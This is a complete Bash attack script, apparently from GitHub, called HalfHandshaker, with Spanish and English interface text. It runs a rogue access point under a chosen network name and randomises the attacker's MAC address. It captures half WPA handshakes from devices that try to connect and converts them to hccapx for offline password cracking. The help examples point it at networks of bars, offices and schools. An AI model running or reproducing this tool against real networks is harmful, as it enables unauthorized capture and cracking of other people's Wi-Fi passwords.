halfhandshaker.sh

#!/bin/bash

####################################################################
#
# HalfHandshaker
#
# By: Miguelillo
# Started:				  26/06/20 - 0.5 Beta 
# Uptdated and rewritted: 26/04/21 - 1.0
#
# For GitHub and for the SeguridadWireless forum community!
#
# Special thanks for fromCharCode!!
#
####################################################################

# Nombre predeterminado del archivo
date=$(date +%d-%m-%y_%H-%M)
output_name="captura_$date"

# Estados
s1="[$(tput setaf 2)+$(tput sgr0)]"
s2="[$(tput setaf 4)+$(tput sgr0)]"
s3="/$(tput setaf 3)!$(tput sgr0)\\"

# Ayuda
function show_help(){
	echo -e "$help"
	exit 0
}

# Al presionar CTRL C
trap printout SIGINT
printout() {
	echo
    exit_script
}

# Comprobar essid
function check_essid(){
	if [ -z "$essid" ]; then
		echo " $s3 $valid_essid"
		exit 1
	fi
}

# Comprueba interfaz
function check_interface() {
	if [ -z "$interface" ]; then
		error=1
	else
		if [ -z "$(ip link | grep $interface:)" ]; then
			error=1
		fi
	fi
	if [ "$error" == "1" ]; then
		echo " $s3 $valid_interface"
		exit 1  
	fi
}

# Mac random
function random_mac(){
	echo
	printf " $s1 $changing_mac "
	ip l s $interface down > /dev/null && macchanger -r $interface | grep "New" | awk -F "       " '{print $2}' | head -c 18 && ip l s $interface up > /dev/null ||  echo " /\ ERROR /\\"
	echo
	echo
}

# Devolver mac original
function original_mac(){
	printf " $s1 $changing_mac_o "
	ip l s $interface down && macchanger -p $interface | grep "New" | awk -F "       " '{print $2}' | head -c 18 && ip l s $interface up || echo " /\ ERROR /\\"
	echo
}

# Funcion de salida
function exit_script(){
	if [ "$noautostop" = "1" ]; then
		if [ -f "$output_name.cap" ]; then
			if [ "$(python3 half_cap2hccapx.py $essid $output_name.cap c || sleep 0)" == "1" ]; then	
				python3 half_cap2hccapx.py $essid $output_name.cap || echo " $s3 $saving_err"
			fi
		fi
	fi

	killall hostapd > /dev/null  || sleep 0
	rm hostapd.conf || sleep 0

	killall tcpdump > /dev/null || sleep 0

	if [ "$random_mac" == "1" ]; then
		original_mac
	fi

	echo 
	exit
}

# Hostapd
function hostapd(){
    echo " $s1 $starting hostapd..."
    check_essid    
    echo """interface=$interface
driver=nl80211
ssid=$essid
hw_mode=g
channel=1
macaddr_acl=0
auth_algs=1
ignore_broadcast_ssid=0
wpa=2
wpa_passphrase=password123
wpa_key_mgmt=WPA-PSK
wpa_pairwise=TKIP CCMP
rsn_pairwise=TKIP CCMP""">hostapd.conf
    echo
    xterm -T "Hostapd" -e "tput setaf 6 && hostapd hostapd.conf || killall hostapd; hostapd hostapd.conf"
}

# Ataque principal
function attack(){
	check_interface
	check_essid
	if [ "$random_mac" == "1" ]; then
		random_mac
	fi

	echo " $s1 $starting tcpdump..."
	xterm  -T "tcpdump" -e "tput setaf 2 && tcpdump -U -i $interface -w $output_name.cap" &

	sleep 1

	hostapd &
	
	sleep 1

	echo "  ---   CTRL + C $ctrl_c   ---"; echo; printf " "

	if [ "$noautostop" != "1" ]; then
		while [ "$(python3 half_cap2hccapx.py $essid $output_name.cap c || sleep 1)" != "1" ]; do
			tput setaf $((1 + $RANDOM % 6))
			printf "."; sleep 2
		done
		tput sgr0
		python3 half_cap2hccapx.py $essid $output_name.cap && saved=1 || echo "ERROR"
		if [ -f "$output_name.hccapx" ]; then
			echo; echo; echo " $s2 $file_is $(pwd)/$output_name.hccapx"; echo
		fi
	else
		while [ "1" == "1" ]; do
			printf "."; sleep 2
		done
	fi

	exit_script
}

# Detectar idioma
if [ "$(echo "$LANG" | head -c 2)" == "es" ]; then
	### SPANISH ###
	# HELP
	help="$(tput setaf 2)  _        _ $(tput sgr0) _              _\n$(tput setaf 2) | |      | |$(tput sgr0)| |            | |\n$(tput setaf 2) | |______| |$(tput sgr0)| |____________| |        Version: 1.0\n$(tput setaf 2) |  ______  |$(tput sgr0)|  ____________  | By Miguelillo & fromCharCode\n$(tput setaf 2) | | Half | |$(tput sgr0)| | Handshaker | |         27/04/2021\n$(tput setaf 2) |_|      |_|$(tput sgr0)|_|            |_|\n\n    -> https://github.com/Miguelillo000/halfhandshaker <-\n\n\n Opciones:\n \n $(tput setaf 2)-h, --help$(tput sgr0)            Muestra esta ayuda\n $(tput setaf 2)-v, --version$(tput sgr0)         Muestra la version del script\n\n \n $(tput setaf 2)-i, --interface            $(tput setaf 3)<interfaz>$(tput sgr0)   Especifica la interfaz a usar\n\n $(tput setaf 2)-e, --essid    $(tput setaf 3)<nombre>$(tput sgr0)         Especifica el nombre del AP falso\n $(tput setaf 2)-o, --output   $(tput setaf 3)<nombre>$(tput sgr0)         Elige el nombre del archivo .cap y hccapx\n \n $(tput setaf 2)-n, --no-auto-stop$(tput sgr0)     No para automaticamente cuando se detecta un handshake\n $(tput setaf 2)-r, --random-mac$(tput sgr0)       Cambia la mac de la tarjeta de red por una al azar\n \n\n Ejemplos:\n\n ./halfhandshaker.sh -i wlan0 -e \"Bar-Juanito\" -o \"red-bar\"\n \n ./halfhandshaker.sh -i wlan0 -e \"Oficinas-12\" -r\n \n ./halfhandshaker.sh -i wlan0 -e \"Red-profesores\" -r -o \"wifi-profes\"\n"
	root_required="Es necesario ejecutar el script con permisos de administrador"; needs="Falta dependencia:"; valid_essid="Se necesita especificar una essid valida"; valid_interface="Se necesita especificar una interfaz valida"; changing_mac="Cambiando mac ->"; changing_mac_o="Restaurando mac ->"; starting="Iniciando"; ctrl_c="para parar"; file_is="Handshake guardado en"; argumment_in="Argumento invalido"; exists1="El archivo"; exists2="ya existe"; overwrite="¿Quieres sobreescribirlo?"; exiting="Saliendo..."; option_in="Opcion invalida"; saving_err="Error al guardar"
else
	### ENGLISH ###
	# HELP
	help="$(tput setaf 2)  _        _ $(tput sgr0) _              _ \n$(tput setaf 2) | |      | |$(tput sgr0)| |            | |\n$(tput setaf 2) | |______| |$(tput sgr0)| |____________| |         Beta 0.5\n$(tput setaf 2) |  ______  |$(tput sgr0)|  ____________  | By Miguelillo & fromCharCode\n$(tput setaf 2) | | Half | |$(tput sgr0)| | Handshaker | |        28/06/2020\n$(tput setaf 2) |_|      |_|$(tput sgr0)|_|            |_|\n \n    -> https://github.com/Miguelillo000/halfhandshaker <-\n\n \n Options:\n \n $(tput setaf 2)-h, --help$(tput sgr0)            Show help\n $(tput setaf 2)-v, --version$(tput sgr0)         Show script version\n \n \n $(tput setaf 2)-i, --interface            $(tput setaf 3)<interface>$(tput sgr0)   Set the network interface\n \n $(tput setaf 2)-e, --essid    $(tput setaf 3)<name>$(tput sgr0)         Set the fake AP's name\n $(tput setaf 2)-o, --output   $(tput setaf 3)<name>$(tput sgr0)         Set the name of the cap and hccapx files\n \n $(tput setaf 2)-n, --no-auto-stop$(tput sgr0)     Does not stop automatically when a handshake is captured\n $(tput setaf 2)-r, --random-mac$(tput sgr0)       Change the mac address of the interface by a random one\n \n \n Ejemplos:\n\n ./halfhandshaker.sh -i wlan0 -e \"John-pub\" -o \"pub-net\"\n \n ./halfhandshaker.sh -i wlan0 -e \"Offices-12\" -r\n \n ./halfhandshaker.sh -i wlan0 -e \"SchoolNet\" -r -o \"teachers-wifi\"\n    "
	root_required="Root priveleges are necessary"; needs="Missing dependency "; valid_essid="A valid essid is required"; valid_interface="A valid interface is required"; changing_mac="Changing mac ->"; changing_mac_o="Restoring mac ->"; starting="Starting"; ctrl_c="to stop"; file_is="Handshake saved in"; argumment_in="Invalid argumment"; exists1="File"; exists2="already exists"; overwrite="Overwrite it?"; exiting="Exitting..."; option_in="Invalid option"; saving_err="Error at saving"
fi

# Comprobando privilegios
id -u | grep -q "^0$" || { echo -e  "\n $s3 $root_required \n"; exit 1; }

# Comprobando las herramientas
for dependency in hostapd ip macchanger xterm python3 tcpdump; do
	if [ -z "$(command -v $dependency)" ]; then 
		echo -e "\n $s3 $needs $dependency"
   		no_tool=1
	fi
done
[[ -v no_tool ]] && { echo; exit 1; }

# Comprobando si está vacio
if [ $# == "0" ]; then
    show_help
fi

# Opciones
while [ $# -ne 0 ]; do
	case "$1" in
		-h|--help)
			show_help
			;;
		-v|--version)
			echo "Version: 1.0"
			exit 0
			;;
		-i|--interface)
			interface="$2"
			shift
			;;
		-e|--essid)
			essid="$2"
			shift
			;;
		-o|--output)
			output_name="$2"
			shift
			;;
		-r|--random-mac)
			random_mac=1
			;;
		-n|--no-auto-stop)
			noautostop="1"
			;;
		*)  
			echo
			echo "$argumment_in: $1"
			show_help
			;;
	esac
	shift
done

ok=false
# Comprobar si existe fichero con el mismo nombre
if [ -f "$output_name.cap" ]; then
	while [ "$ok" == "false" ]; do
		echo; echo " $s3 $exists1 $output_name.cap $exists2"; printf " $s2 $overwrite [y/n]: "
		read yn
		if [ "$yn" == "y" ] || [ "$yn" == "Y" ] || [ "$yn" == "yes" ] || [ "$yn" == "YES" ]; then
			echo
			ok=true
		elif [ "$yn" == "n" ] || [ "$yn" == "N" ] || [ "$yn" == "no" ] || [ "$yn" == "NO" ]; then
			echo; echo " $s2 $exiting"; echo
			exit 0
		else 
			echo; echo " $s3 $option_in"; echo
		fi
	done
fi

attack
exit 0